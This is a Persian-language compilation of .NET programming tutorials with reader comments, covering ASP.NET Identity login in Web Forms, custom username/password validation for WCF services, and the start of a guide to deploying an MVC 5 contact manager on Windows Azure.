                  <asp:Button runat="server" OnClick="SignIn" Text="Log in" />
               </div>
            </div>
         </asp:PlaceHolder>
         <asp:PlaceHolder runat="server" ID="LogoutButton" Visible="false">
            <div>
               <div>
                  <asp:Button runat="server" OnClick="SignOut" Text="Log out" />
               </div>
            </div>
         </asp:PlaceHolder>
      </div>
   </form>
</body>
</html>
```

محتوای فایل *Login.aspx.cs* را نیز مانند لیست زیر تغییر دهید.

```
using Microsoft.AspNet.Identity;
using Microsoft.AspNet.Identity.EntityFramework;
using Microsoft.Owin.Security;
using System;
using System.Web;
using System.Web.UI.WebControls;

namespace WebFormsIdentity
{
   public partial class Login : System.Web.UI.Page
   {
      protected void Page_Load(object sender, EventArgs e)
      {
         if (!IsPostBack)
         {
            if (User.Identity.IsAuthenticated)
            {
               StatusText.Text = string.Format("Hello {0}!", User.Identity.GetUserName());
               LoginStatus.Visible = true;
               LogoutButton.Visible = true;
            }
            else
            {
               LoginForm.Visible = true;
            }
         }
      }

      protected void SignIn(object sender, EventArgs e)
      {
         var userStore = new UserStore<IdentityUser>();
         var userManager = new UserManager<IdentityUser>(userStore);
         var user = userManager.Find(UserName.Text, Password.Text);

         if (user != null)
         {
            var authenticationManager = HttpContext.Current.GetOwinContext().Authentication;
            var userIdentity = userManager.CreateIdentity(user,
```

```
DefaultAuthenticationTypes.ApplicationCookie);

            authenticationManager.SignIn(new AuthenticationProperties() { IsPersistent = false },
userIdentity);
            Response.Redirect("~/Login.aspx");
         }
         else
         {
            StatusText.Text = "Invalid username or password.";
            LoginStatus.Visible = true;
         }
      }

      protected void SignOut(object sender, EventArgs e)
      {
         var authenticationManager = HttpContext.Current.GetOwinContext().Authentication;
         authenticationManager.SignOut();
         Response.Redirect("~/Login.aspx");
      }
   }
}
```

متد Page_Load حالا وضعیت کاربر جاری را بررسی می‌کند و بر اساس وضعیت Context.User.Identity.IsAuthenticated تصمیم گیری می‌کند.

نمایش نام کاربر جاری: فریم ورک ASP.NET Identity روی System.Security.Principal.Identity متدهایی نوشته است که به شما امکان دریافت نام و شناسه کاربر جاری را می‌دهد. این متدها در اسمبلی Microsoft.AspNet.Identity.Core وجود دارند. این متدها جایگزین HttpContext.User.Identity.Name هستند.

متد SignIn

این متد، متد CreateUser_Click را که پیشتر بصورت خودکار ایجاد شده جایگزین می‌کند و پس از ایجاد موفقیت آمیز حساب کاربری، کاربر جاری را به سایت وارد می‌کند. فریم ورک OWIN متدهایی روی System.Web.HttpContext افزوده است که به شما این امکان را می‌دهند که یک ارجاع از نوع IOwinContext بگیرید. این متدها در اسمبلی Microsoft.Owin.Host.SystemWeb وجود دارند. کلاس OwinContext خاصیتی از نوع IAuthenticationManager دارد که امکانات احراز هویت موجود برای درخواست جاری را معرفی می‌کند.

پروژه را با Ctrl + F5 اجرا کنید و کاربر جدیدی بسازید. پس از وارد کردن نام کاربری و کلمه عبور و کلیک کردن دکمه Register باید بصورت خودکار به سایت وارد شوید و نام خود را مشاهده کنید.

همانطور که مشاهده می‌کنید در این مرحله حساب کاربری جدید ایجاد شده و به سایت وارد شده اید. روی Log out کلیک کنید تا از سایت خارج شوید. پس از آن باید به صفحه ورود هدایت شوید.
حالا یک نام کاربری یا کلمه عبور نامعتبر وارد کنید و روی **Log in** کلیک کنید.

متد UserManager.Find مقدار null بر می‌گرداند، بنابراین پیام خطای "*Invalid username or password*" نمایش داده خواهد شد.

http://localhost:41969/Login.a
Log In
Invalid username or password.
User name
RaquelS
Password
Log in

نظرات خوانندگان

نویسنده: Programmer
تاریخ: ۱۳۹۲/۱۰/۱۹ ۱۴:۴۱

با عرض سلام و تشکر بابت ترجمه روانتون. خیلی وقت بود که منتظر همچین پستی بودم. اینکه بشه با EF عملیات احراز هویت رو با مکانیسمی قویتر از Memberdship سابق انجام داد. اگر ممکنه همین مثال رو در قالب پروژه MVC انجام بدید. ممنون

نویسنده: آرمین ضیاء
تاریخ: ۱۳۹۲/۱۰/۱۹ ۱۸:۹

سلام، متشکرم.
ASP.NET Identity بصورت پیش فرض در قالب پروژه‌های VS 2013 استفاده میشه. در پست‌های قبلی بیشتر درباره این فریم بحث شده که می‌تونید مراجعه کنید. برای اطلاعات بیشتر به ASP.NET Identity سر بزنید.

نویسنده: کامران
تاریخ: ۱۳۹۲/۱۲/۲۶ ۱۶:۰

سلام.
من اگر بخوام لیست کاربرایی که یک نقش خاص مثلا "Admin" رو دارن لیست کنم چطور میتونم دسترسی داشته باشم؟

نویسنده: غلامرضا
تاریخ: ۱۳۹۳/۰۵/۳۰ ۳:۴۹

سلام و میبخشید آیا به غیر از روش ایداعی این سایت روش دیگه ای برای استفاده از asp.net identity با EF db first وجود داره؟ اگه هست لطفا راهنمایی کنید.

نویسنده: غلامرضا
تاریخ: ۱۳۹۳/۰۵/۳۱ ۱۶:۳۲

جواب رو پیدا کردم اینم لینکش. فیلم

عنوان: **اعتبارسنجی سرویس های WCF**
نویسنده: مسعود پاکدل
تاریخ: ۱۳۹۲/۱۰/۱۹ ۸:۴۵
آدرس: www.dotnettips.info
گروه‌ها: Security, WCF, UserNamePasswordValidator

حالتی را در نظر بگیرید که سرویس‌های یک برنامه در آدرسی مشخص هاست شده اند. اگر اعتبار سنجی برای این سرویس‌ها در نظر گرفته نشود به راحتی می‌توان با در اختیار داشتن آدرس مورد نظر تمام سرویس های برنامه را فراخوانی کرد و اگر رمزگذاری اطلاعات بر روی سرویس‌ها فعال نشده باشد می‌توان تمام اطلاعات این سرویس‌ها را به راحتی به دست آورد. کمترین تلاش در این مرحله برای پیاده سازی امنیت این است که برای فراخوانی هر سرویس حداقل یک شناسه و رمز عبور چک شود و فقط در صورتی که فراخوانی سرویس همراه با شناسه و رمز عبور درست بود اطلاعات در اختیار کلاینت قرار گیرد. قصد داریم طی یک مثال این مورد را بررسی کنیم:

ابتدا یک پروژه با دو Console Application با نام های Service و Client ایجاد کنید. سپس در پروژه Service یک سرویس به نام BookService ایجاد کنید و کدهای زیر را در آن کپی نمایید:

Contract مربوطه به صورت زیر است:

```
[ServiceContract]
public interface IBookService
    {
        [OperationContract]
        int GetCountOfBook();
    }
```

کدهای مربوط به سرویس:

```
[ServiceBehavior(IncludeExceptionDetailInFaults = true)]
    public class BookService : IBookService
    {
        public int GetCountOfBook()
        {
            return 10;
        }
    }
```

فایل Program در پروژه Service را باز نمایید و کدهای زیر را که مربوط به hosting سرویس مورد نظر است در آن کپی کنید:

```
class Program
    {
        static void Main(string[] args)
        {
            ServiceHost host = new ServiceHost(typeof(BookService));

            var binding = new BasicHttpBinding();

            host.AddServiceEndpoint(typeof(IBookService), binding, "http://localhost/BookService");
            host.Open();

            Console.Write("BookService host");

            Console.ReadKey();
        }
    }
```

بر اساس کدهای بالا، سرویس BookService در آدرس http://localhost/BookService هاست می‌شود. نوع Binding نیز BasicHttpBinding انتخاب شده است.

حال نوبت به پیاده سازی سمت کلاینت می‌رسد. فایل Program سمت کلاینت را باز کرده و کدهای زیر را نیز در آن کپی نمایید:

```
static void Main(string[] args)
        {
            Thread.Sleep(2000);
```

```
            BasicHttpBinding binding = new BasicHttpBinding();

            ChannelFactory<IBookService> channel = new ChannelFactory<IBookService>(binding, new
EndpointAddress("http://localhost/BookService"));

            Console.WriteLine("Count of book: {0}", channel.CreateChannel().GetCountOfBook());

            Console.ReadKey();
        }
```

در کدهای عملیات ساخت ChannelFactory برای برقراری اطلاعات با سرویس مورد نظر انجام شده است. پروژه را Build نمایید و سپس آن را اجرا کنید.
خروجی زیر مشاهده می‌شود:

تا اینجا هیچ گونه اعتبار سنجی انجام نشد. برای پیاده سازی اعتبار سنجی باید یک سری تنظیمات بر روی Binding و Hosting سمت سرور و البته کلاینت بر قرار شود. فایل Program پروژه Service را باز نمایید و محتویات آن را به صورت زیر تغییر دهید:

```
static void Main(string[] args)
        {
            ServiceHost host = new ServiceHost(typeof(BookService));

            var binding = new BasicHttpBinding();
            binding.Security = new BasicHttpSecurity();
            binding.Security.Mode = BasicHttpSecurityMode.TransportCredentialOnly;
            binding.Security.Transport.ClientCredentialType = HttpClientCredentialType.Basic;

            host.Credentials.UserNameAuthentication.UserNamePasswordValidationMode =
System.ServiceModel.Security.UserNamePasswordValidationMode.Custom;

            host.Credentials.UserNameAuthentication.CustomUserNamePasswordValidator = new
CustomUserNamePasswordValidator();

            host.AddServiceEndpoint(typeof(IBookService), binding, "http://localhost/BookService");
            host.Open();


            Console.Write("BookService host");

            Console.ReadKey();
        }
```

تغییرات اعمال شده:

ابتدا نوع Security در Binding را به حالت TransportCredentialOnly تنظیم کردیم. در یک جمله هیچ گونه تضمینی برای صحت اطلاعات انتقالی در این حالت وجود ندارد و فقط یک اعتبار سنجی اولیه انجام خواهد شد. در نتیجه هنگام استفاده از این حالت باید با دقت عمل نمود و نباید فقط به پیاده سازی این حالت اکتفا کرد.(Encryption اطلاعات سرویس‌ها مورد بحث این پست نیست)

ClientCredentialType نیز باید به حالت Basic تنظیم شود. در WCF اعتبار سنجی به صورت پیش فرض در حالت Windows است (یعنی UserNamePasswordValidationMode برابر مقدار Windows است و اعتبار سنجی بر اساس کاربر انجام می‌شود) . این مورد باید به مقدار Custom تغییر یابد. در انتها نیز باید مدل اعتبار سنجی دلخواه خود را به صورت زیر پیاده سازی کنیم:
در پروژه سرویس یک کلاس به نام CustomUserNamePasswordValidator بسازید و کدهای زیر را در آن کپی کنید:

```
public class CustomUserNamePasswordValidator : UserNamePasswordValidator
    {
        public override void Validate(string userName, string password)
        {
            if (userName != "Masoud" || password != "Pakdel")
                throw new SecurityException("Incorrect userName or password");
        }
    }
```

Validator مورد نظر از کلاسی abstract به نام UserNamePasswordValidator ارث می‌برد، در نتیجه باید متد abstract به نام Validate را override نماید. در بدنه این متد شناسه و رمز عبور با یک مقدار پیش فرض چک می‌شوند و در صورت عدم درستی این پارامترها یک استثنا پرتاب خواهد شد.

تغییرات مورد نیاز سمت کلاینت:

اگر در این حالت پروژه را اجرا نمایید از آن جا که از این به بعد، درخواست‌ها سمت سرور اعتبار سنجی می‌شوند در نتیجه با خطای زیر روبرو خواهید شد:

این خطا از آن جا ناشی می‌شود که تنظیمات کلاینت و سرور از نظر امنیتی با هم تناسب ندارد. در نتیجه باید تنظیمات Binding کلاینت و سرور یکی شود. برای این کار کد زیر را به فایل Program سمت کلاینت اضافه می‌کنیم:

```
static void Main(string[] args)
        {
            Thread.Sleep(2000);
            BasicHttpBinding binding = new BasicHttpBinding();

            binding.Security = new BasicHttpSecurity();
            binding.Security.Mode = BasicHttpSecurityMode.TransportCredentialOnly;
            binding.Security.Transport.ClientCredentialType = HttpClientCredentialType.Basic;

            ChannelFactory<IBookService> channel = new ChannelFactory<IBookService>(binding, new
EndpointAddress("http://localhost/BookService"));

            channel.Credentials.UserName.UserName = "WrongUserName";
            channel.Credentials.UserName.Password = "WrongPassword";



           Console.WriteLine("Count of book: {0}", channel.CreateChannel().GetCountOfBook());

            Console.ReadKey();
        }
```

توسط دستور زیر، مقدار شناسه و رمز عبور به درخواست اضافه می‌شود.

```
channel.Credentials.UserName.UserName = "WrongUserName";
channel.Credentials.UserName.Password = "WrongPassword";
```

در اینجا UserName و Password اشتباه مقدار دهی شده اند تا روش کار Validator مورد بررسی قرار گیرد. حال اگر پروژه را اجرا نمایید خواهید دید که در Validator مورد نظر، عملیات اعتبار سنجی به درستی انجام می‌شود:

```
1 reference
public class CustomUserNamePasswordValidator : UserNamePasswordValidator
{
    0 references
    public override void Validate(string userName, string password)
    {
        if (userName != "Masoud" || password != "Pakdel")
            th  userName  "WrongUserName"  ect userName or password");
    }
}
```

SecurityException was unhandled by user code

An exception of type 'System.Security.SecurityException' occurred in Service.exe but was not handled in user code

دریافت سورس مثال بالا

نظرات خوانندگان

نویسنده: بهمن
تاریخ: ۱۳۹۲/۱۰/۲۱ ۱۱:۵۲

سلام .ممنون به خاطر زحماتتون.
بر طبق آموزشهای گوناگون برای اعمال امنیت روی سرویس میتوان از Certificate هایی استفاده کرد که خودمان آنها را تولید کرده ایم. البته سفارش شده که در زمان برنامه نویسی و پیاده سازی پروژه از آن استفاده شود نه برای زمان واقعی استفاده از سرویس.
آیا این امکان وجود دارد که از Certificate هایی که خودمان ایجاد کرده ایم در پروژه‌های واقعی استفاده کنیم؟
اگر این امکان وجود دارد آیا این Certificate ها کار رمز گزاری و رمز گشایی را برای ما انجام میدهند؟ و چه محدودیتهایی دارند؟
با تشکر؟

نویسنده: مسعود پاکدل
تاریخ: ۱۳۹۲/۱۰/۲۱ ۱۲:۴۵

اگر به مثال بالا دقت کرده باشید حتما متوجه شدید که از BasicHttpBinding استفاده کردم. دلیل این موضوع این است که BasicHttpBinding به صورت پیش فرض هیچ گونه تمهیدات امنیتی را بر روی سرویس‌ها در نظر نمی‌گیرد. اگر قصد پیاده سازی مثال بالا را به وسیله WSHttpBinding (این binding به صورت توکار مباحث رمزگذاری و امضای دیجیتال را در خود دارد) داشته باشیم **حتما** باید از Certificateها بهره ببریم. در نتیجه برای پیاده سازی مثال بالا به روش WsHttpBinding از makecert.exe برای تولید certificateها استفاده می‌شد(عموما در مثال‌ها و نمونه‌ها از همین روش استفاده میشود) که در اجرای واقعی سرویس‌ها مناسب نیست. در Soap این Certificateها شامل اطلاعات رمزگذاری و مجوزها و کلیدهای عمومی و خصوصی خواهند بود در نتیجه از اهمیت به سزایی بر خوردارند. برای حفظ امنیت سرویس‌ها توصیه می‌شود certificateها را از یک CA (برای مثال VeriSign) خریداری شود یا حداقل می‌توانید از Microsoft Certificate Services که در ویندوزهای سرور نصب می‌شود استفاده نمایید. در واقع اگر یک Certificate Authority وجود نداشته باشد بهتر است از این روش استفاده نشود.

نویسنده: مهرسا
تاریخ: ۱۳۹۲/۱۲/۰۵ ۱۳:۱۵

سلام؛ من کدهای شمارو امتحان کردم ولی در کلاینت من نمیتونم اینو پیدا کنم channel.Credentials برای من اینو داره channel.ClientCredentials هر چی هم گشتم نتونستم پیداش کنم میگه کلاس Credentials وجود نداره

نویسنده: مسعود پاکدل
تاریخ: ۱۳۹۲/۱۲/۰۵ ۱۴:۲

Credential خود یک property از نوع ClientCredential در نمونه‌های وهله سازی شده از ChannelFactory است. شما از روش Add Service Reference و proxy استفاده کرده اید در نتیجه ChannelFactory به صورت یک خاصیت در نمونه وهله سازی شده از client proxy در دسترس است. به صورت زیر عمل نمایید:

```
proxy.ChannelFactory.Credentials.UserName.UserName = "WrongUserName";
proxy.ChannelFactory.Credentials.UserName.Password = "WrongPassword";
```

در همین رابطه : مقایسه بین روش ChannelFactory و Proxy

نویسنده: مهرسا
تاریخ: ۱۳۹۲/۱۲/۰۶ ۱۱:۱۹

مرسی از جوابتون
امکان ست کردن تنظیمات سرور در وب کانفیگ هم هست؟ چون من سرویسمو در یک وب سایت گذاشتم.

نویسنده: مسعود پاکدل
تاریخ: ۱۳۹۲/۱۲/۰۶ ۱۴:۱۵

بله. می‌توانید تمام تنظیمات را در فایل config قرار دهید. برای نمونه:

```
<behaviors>
      <serviceBehaviors>
        <behavior name="yourServiceNameBehavior">
          <serviceDebug includeExceptionDetailInFaults ="true"/>
          <serviceCredentials>
            <userNameAuthentication userNamePasswordValidationMode="Custom"
customUserNamePasswordValidatorType="MyCustomUserNameValidator, service" />
          </serviceCredentials>
        </behavior>
      </serviceBehaviors>
    </behaviors>

  </system.serviceModel>
```

در صورتی که از certificateها استفاده کرده اید آن را هم باید به صورت زیر در این بخش قرار دهید:

```
<serviceCertificate findValue="localhost" storeLocation="LocalMachine" storeName="My"
x509FindType="FindBySubjectName" />
```

نویسنده: وجیهه
تاریخ: ۱۳۹۴/۰۶/۰۸ ۱۴:۶

سلام
من از certificate استفاده کرده ام برای پروژه ام در حالت لوکال مشکلی ندارم ولی وقتی که آپلود میکنم خطای
cannot find the X.509 certificate using the following search criteria
میده حالا من چطور میتونم certificate رو سرور تنظیم کنم؟یا اینکه ایجاد کنم؟
من با کمک این لینک برای لوکال ست کردم و مشکلی نداره اما سرور نمیدونم
http://www.codeproject.com/Articles/96028/WCF-Service-with-custom-username-password-authenti#h-5

عنوان: **توزیع یک اپلیکیشن ASP.NET MVC 5 روی Windows Azure**
نویسنده: آرمین ضیاء
تاریخ: ۱۳۹۲/۱۰/۱۹ ۱۰:۵۰
آدرس: www.dotnettips.info
گروه‌ها: Tips, OpenID, ASP.NET MVC 5, ASP.NET Identity, Windows Azure, OAuth, MVC, Security

این مقاله به شما نشان می‌دهد چگونه یک اپلیکیشن وب ASP.NET MVC 5 بسازید که کاربران را قادر می‌سازد با اطلاعات Facebook یا Google احراز هویت شده و به سایت وارد شوند. همچنین این اپلیکیشن را روی Windows Azure توزیع (Deploy) خواهید کرد.
می توانید بصورت رایگان یک حساب کاربری Windows Azure بسازید. اگر هم Visual Studio 2013 را ندارید، بسته SDK بصورت خودکار Visual Studio 2013 for Web را نصب می‌کند. پس از آن می‌توانید به توسعه رایگان اپلیکیشن‌های Azure بپردازید، اگر می‌خواهید از Visual Studio 2012 استفاده کنید به این مقاله مراجعه کنید. این مقاله نسبت به لینک مذکور بسیار ساده‌تر است.
این مقاله فرض را بر این می‌گذارد که شما هیچ تجربه ای در کار با Windows Azure ندارید. در انتهای این مقاله شما یک اپلیکیشن مبتنی بر داده (data-driven) و امن خواهید داشت که در فضای رایانش ابری اجرا می‌شود.
چیزی که شما یاد می‌گیرید:
چطور یک اپلیکیشن وب ASP.NET MVC 5 بسازید و آن را روی یک وب سایت Windows Azure منتشر کنید.
چگونه از OpenID ، OAuth و سیستم عضویت ASP.NET برای ایمن سازی اپلیکیشن خود استفاده کنید.
چگونه از API جدید سیستم عضویت برای مدیریت اعضا و نقش‌ها استفاده کنید.
چگونه از یک دیتابیس SQL برای ذخیره داده‌ها در Windows Azure استفاده کنید.

شما یک اپلیکیشن مدیریت تماس (Contact Manager) ساده خواهید نوشت که بر پایه ASP.NET MVC 5 بوده و از Entity Framework برای دسترسی داده استفاده می‌کند. تصویر زیر صفحه ورود نهایی اپلیکیشن را نشان می‌دهد.

http://localhost:12564/Accou
Log in - Contact Manager
CM Demo
Register Log in
Home About Contact
Log in.
Use a local account to log in.
User name
Password
Remember me?
Log in
Register if you don't have an account.
Use another service to log in.
Facebook
Google
Yahoo
© 2013 - Contact Manager

توجه: برای تمام کردن این مقاله به یک حساب کاربری Windows Azure نیاز دارید، که بصورت رایگان می‌توانید آن را بسازید. برای اطلاعات بیشتر به Windows Azure Free Trial مراجعه کنید.

در این مقاله:

برپایی محیط توسعه (development environment)
برپایی محیط Windows Azure
ایجاد یک اپلیکیشن ASP.NET MVC 5
توزیع اپلیکیشن روی Windows Azure
افزودن یک دیتابیس به اپلیکیشن
افزودن یک OAuth Provider
استفاده از Membership API
توزیع اپلیکیشن روی Windows Azure
قدم‌های بعدی

برپایی محیط توسعه

برای شروع Windows Azure SDK for .NET را نصب کنید. برای اطلاعات بیشتر به Windows Azure SDK for Visual Studio 2013 مراجعه کنید. بسته به اینکه کدام یک از وابستگی‌ها را روی سیستم خود دارید، پروسه نصب می‌تواند از چند دقیقه تا نزدیک دو ساعت طول بکشد. توسط Web Platform می‌توانید تمام نیازمندی‌های خود را نصب کنید.

هنگامی که این مرحله با موفقیت به اتمام رسید، تمام ابزار لازم برای شروع به کار را در اختیار دارید.

برپایی محیط Windows Azure

در قدم بعدی باید یک وب سایت Windows Azure و یک دیتابیس بسازیم.

ایجاد یک وب سایت و دیتابیس در Windows Azure

وب سایت Windows Azure شما در یک محیط اشتراکی (shared) میزبانی می‌شود، و این بدین معنا است که وب سایت‌های شما روی ماشین‌های مجازی (virtual machines) اجرا می‌شوند که با مشتریان دیگر Windows Azure به اشتراک گذاشته شده اند. یک محیط میزبانی اشتراکی گزینه ای کم هزینه برای شروع کار با رایانش‌های ابری است. اگر در آینده ترافیک وب سایت شما رشد چشم گیری داشته باشد، می‌توانید اپلیکیشن خود را طوری توسعه دهید که به نیازهای جدید پاسخگو باشد و آن را روی یک ماشین مجازی اختصاصی (dedicated VMs) میزبانی کنید. اگر معماری پیچیده‌تری نیاز دارید، می‌توانید به یک سرویس Windows Azure Cloud مهاجرت کنید. سرویس‌های ابری روی ماشین‌های مجازی اختصاصی اجرا می‌شوند که شما می‌توانید تنظیمات آنها را بر اساس نیازهای خود پیکربندی کنید.

Windows Azure SQL Database یک سرویس دیتابیس رابطه ای (relational) و مبتنی بر Cloud است که بر اساس تکنولوژی‌های SQL Server ساخته شده. ابزار و اپلیکیشن هایی که با SQL Server کار می‌کنند با SQL Database نیز می‌توانند کار کنند.

در پرتال مدیریتی Windows Azure روی **Web Sites** در قسمت چپ صفحه کلیک کنید، و گزینه **New** را برگزینید.

روی **Web Site** و سپس **Custom Create** کلیک کنید.

در مرحله **Create Web Site** در قسمت **URL** یک رشته وارد کنید که آدرسی منحصر بفرد برای اپلیکیشن شما خواهد بود. آدرس کامل وب سایت شما، ترکیبی از مقدار این فیلد و مقدار روبروی آن است.

در لیست **Database** گزینه **Create a free 20 MB SQL Database** را انتخاب کنید.

در لیست **Region** همان مقداری را انتخاب کنید که برای وب سایت تان انتخاب کرده اید. تنظیمات این قسمت مشخص می‌کند که ماشین مجازی (VM) شما در کدام مرکز داده (data center) خواهد بود.

در قسمت **DB Connection String Name** مقدار پیش فرض *DefaultConnection* را بپذیرید.

دکمه فلش پایین صفحه را کلیک کنید تا به مرحله بعد، یعنی مرحله **Specify Database Settings** بروید.

در قسمت **Name** مقدار *ContactDB* را وارد کنید (تصویر زیر).

در قسمت **Server** گزینه **New SQL Database Server** را انتخاب کنید. اگر قبلا دیتابیس ساخته اید می‌توانید آن را از کنترل dropdown انتخاب کنید.

مقدار قسمت **Region** را به همان مقداری که برای ایجاد وب سایت تان تنظیم کرده اید تغییر دهید.

یک **Login Name** و **Password** مدیر (administrator) وارد کنید. اگر گزینه **New SQL Database server** را انتخاب کرده اید، چنین کاربری وجود ندارد و در واقع اطلاعات یک حساب کاربری جدید را وارد می‌کنید تا بعدا هنگام دسترسی به دیتابیس از آن استفاده کنید. اگر دیتابیس دیگری را از لیست انتخاب کرده باشید، اطلاعات یک حساب کاربری موجود از شما دریافت خواهد شد. در مثال این مقاله ما گزینه **Advanced** را رها می‌کنیم. همچنین در نظر داشته باشید که برای دیتابیس‌های رایگان تنها از یک Collation می‌توانید استفاده کنید.

دکمه تایید پایین صفحه را کلیک کنید تا مراحل تمام شود.

تصویر زیر استفاده از یک SQL Server و حساب کاربری موجود (existing) را نشان می‌دهد.

پرتال مدیریتی پس از اتمام مراحل، به صفحه وب سایت‌ها باز می‌گردد. ستون **Status** نشان می‌دهد که سایت شما در حال ساخته شدن است. پس از مدتی (معمولا کمتر از یک دقیقه) این ستون نشان می‌دهد که سایت شما با موفقیت ایجاد شده. در منوی پیمایش سمت چپ، تعداد سایت هایی که در اکانت خود دارید در کنار آیکون **Web Sites** نمایش داده شده است، تعداد دیتابیس‌ها نیز در کنار آیکون **SQL Databases** نمایش داده می‌شود.

یک اپلیکیشن ASP.NET MVC 5 بسازید

شما یک وب سایت Windows Azure ساختید، اما هنوز هیچ محتوایی در آن وجود ندارد. قدم بعدی ایجاد یک اپلیکیشن وب در ویژوال استودیو و انتشار آن است. ابتدا یک پروژه جدید بسازید.

نوع پروژه را **ASP.NET Web Application** انتخاب کنید.

نکته: در تصویر بالا نام پروژه "MyExample" است اما حتما نام پروژه خود را به "ContactManager" تغییر دهید. قطعه کدهایی که در ادامه مقاله خواهید دید نام پروژه را ContactManager فرض می‌کنند.

در دیالوگ جدید ASP.NET نوع اپلیکیشن را **MVC** انتخاب کنید و دکمه **Change Authentication** را کلیک کنید.

گزینه پیش فرض **Individual User Accounts** را بپذیرید. برای اطلاعات بیشتر درباره متدهای دیگر احراز هویت به این لینک مراجعه کنید. دکمه‌های OK را کلیک کنید تا تمام مراحل تمام شوند.

تنظیم تیتر و پاورقی سایت

فایل *_Layout.cshtml* را باز کنید. دو نمونه از متن "My ASP.NET MVC Application" را با عبارت "Contact Manager" جایگزین کنید.

عبارت "Application name" را هم با "CM Demo" جایگزین کنید.

اولین Action Link را ویرایش کنید و مقدار *Home* را با *Cm* جایگزین کنید تا از *CmController* استفاده کند.

```
<!DOCTYPE html>
<html>
<head>
    <meta charset="utf-8" />
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>@ViewBag.Title - Contact Manager</title>
    @Styles.Render("~/Content/css")
    @Scripts.Render("~/bundles/modernizr")

</head>
<body>
    <div class="navbar navbar-inverse navbar-fixed-top">
        <div class="container">
            <div class="navbar-header">
                <button type="button" class="navbar-toggle" data-toggle="colla
                    <span class="icon-bar"></span>
                    <span class="icon-bar"></span>
                    <span class="icon-bar"></span>
                </button>
                @Html.ActionLink("CM Demo", "Index", "Cm", null, new { @class
            </div>
            <div class="navbar-collapse collapse">
                <ul class="nav navbar-nav">
                    <li>@Html.ActionLink("Home", "Index", "Home")</li>
                    <li>@Html.ActionLink("About", "About", "Home")</li>
                    <li>@Html.ActionLink("Contact", "Contact", "Home")</li>
                </ul>
                @Html.Partial("_LoginPartial")
            </div>
        </div>
    </div>
    <div class="container body-content">
        @RenderBody()
        <hr />
        <footer>
            <p>&copy; @DateTime.Now.Year - Contact Manager</p>
        </footer>
    </div>

    @Scripts.Render("~/bundles/jquery")
    @Scripts.Render("~/bundles/bootstrap")
    @RenderSection("scripts", required: false)
</body>
</html>
```

اپلیکیشن را بصورت محلی اجرا کنید

اپلیکیشن را با Ctrl + F5 اجرا کنید. صفحه اصلی باید در مرورگر پیش فرض باز شود.

اپلیکیشن شما فعلا آماده است و می‌توانید آن را روی Windows Azure توزیع کنید. بعدا دیتابیس و دسترسی داده نیز اضافه خواهد شد.

اپلیکیشن را روی Windows Azure منتشر کنید

در ویژوال استودیو روی نام پروژه کلیک راست کنید و گزینه **Publish** را انتخاب کنید. ویزارد **Publish Web** باز می‌شود.

در قسمت **Profile** روی **Import** کلیک کنید.

حال دیالوگ **Import Publish Profile** نمایش داده می‌شود.

یکی از متدهای زیر را استفاده کنید تا ویژوال استودیو بتواند به اکانت Windows Azure شما متصل شود.
روی **Sign In** کلیک کنید تا با وارد کردن اطلاعات حساب کاربری وارد Windows Azure شوید.

این روش ساده‌تر و سریع‌تر است، اما اگر از آن استفاده کنید دیگر قادر به مشاهده Windows Azure SQL Database یا Mobile Services در پنجره **Server Explorer** نخواهید بود.
روی **Manage subscriptions** کلیک کنید تا یک management certificate نصب کنید، که دسترسی به حساب کاربری شما را ممکن می‌سازد.

در دیالوگ باکس **Manage Windows Azure Subscriptions** به قسمت **Certificates** بروید. سپس **Import** را کلیک کنید. مراحل را دنبال کنید تا یک فایل subscription را بصورت دانلود دریافت کنید (فایل‌های *publishsettings*.) که اطلاعات اکانت Windows Azure شما را دارد.

نکته امنیتی: این فایل تنظیمات را بیرون از پوشه‌های سورس کد خود دانلود کنید، مثلا پوشه Downloads. پس از اتمام عملیات Import هم این فایل را حذف کنید. کاربر مخربی که به این فایل دسترسی پیدا کند قادر خواهد بود تا سرویس‌های Windows Azure شما را کاملا کنترل کند.

برای اطلاعات بیشتر به How to Connect to Windows Azure from Visual Studio مراجعه کنید.

در دیالوگ باکس **Import Publish Profile** وب سایت خود را از لیست انتخاب کنید و OK را کلیک کنید.

در دیالوگ باکس **Publish Web** روی **Publish** کلیک کنید.

اپلیکیشن شما حالا در فضای ابری اجرا می‌شود. دفعه بعد که اپلیکیشن را منتشر کنید تنها فایل‌های تغییر کرده (یا جدید) آپلود خواهند شد.

یک دیتابیس به اپلیکیشن اضافه کنید

در مرحله بعد یک دیتابیس خواهیم ساخت تا اپلیکیشن ما بتواند اطلاعات را نمایش دهد و ویرایش کند. برای ایجاد دیتابیس و دسترسی به داده‌ها از Entity Framework استفاده خواهیم کرد.

کلاس‌های مدل Contacts را اضافه کنید

در پوشه Models پروژه یک کلاس جدید ایجاد کنید.

نام کلاس را به *Contact.cs* تغییر دهید و دکمه Add را کلیک کنید.

کد فایل Contact.cs را با قطعه کد زیر مطابقت دهید.

```
using System.ComponentModel.DataAnnotations;
using System.Globalization;
namespace ContactManager.Models
{
    public class Contact
    {
        public int ContactId { get; set; }
        public string Name { get; set; }
        public string Address { get; set; }
        public string City { get; set; }
        public string State { get; set; }
        public string Zip { get; set; }
        [DataType(DataType.EmailAddress)]
        public string Email { get; set; }
    }
}
```

این کلاس موجودیت Contact را در دیتابیس معرفی می‌کند. داده هایی که می‌خواهیم برای هر رکورد ذخیره کنیم تعریف شده اند، بعلاوه یک فیلد Primary Key که دیتابیس به آن نیاز دارد.

یک کنترلر و نما برای داده‌ها اضافه کنید

ابتدا پروژه را Build کنید (Ctrl + Shift+ B). این کار را باید پیش از استفاده از مکانیزم Scaffolding انجام دهید.

یک کنترلر جدید به پوشه Controllers اضافه کنید.

در دیالوگ باکس **Add Scaffold** گزینه **MVC 5 Controller with views, using EF** را انتخاب کنید.

در دیالوگ **Add Controller** نام "CmController" را برای کنترلر وارد کنید. (تصویر زیر.)

در لیست **Model** گزینه **Contact (ContactManager.Models)** را انتخاب کنید.

در قسمت **Data context class** گزینه **ApplicationDbContext (ContactManager.Models)** را انتخاب کنید. این **ApplicationDbContext** هم برای اطلاعات سیستم عضویت و هم برای داده‌های Contacts استفاده خواهد شد.

روی Add کلیک کنید. ویژوال استودیو بصورت خودکار با استفاده از Scaffolding متدها و Viewهای لازم برای عملیات CRUD را فراهم می‌کند، که همگی از مدل Contact استفاده می‌کنند.

فعالسازی مهاجرت ها، ایجاد دیتابیس، افزودن داده نمونه و یک راه انداز

مرحله بعدی فعال کردن قابلیت Code First Migrations است تا دیتابیس را بر اساس الگویی که تعریف کرده اید بسازد.

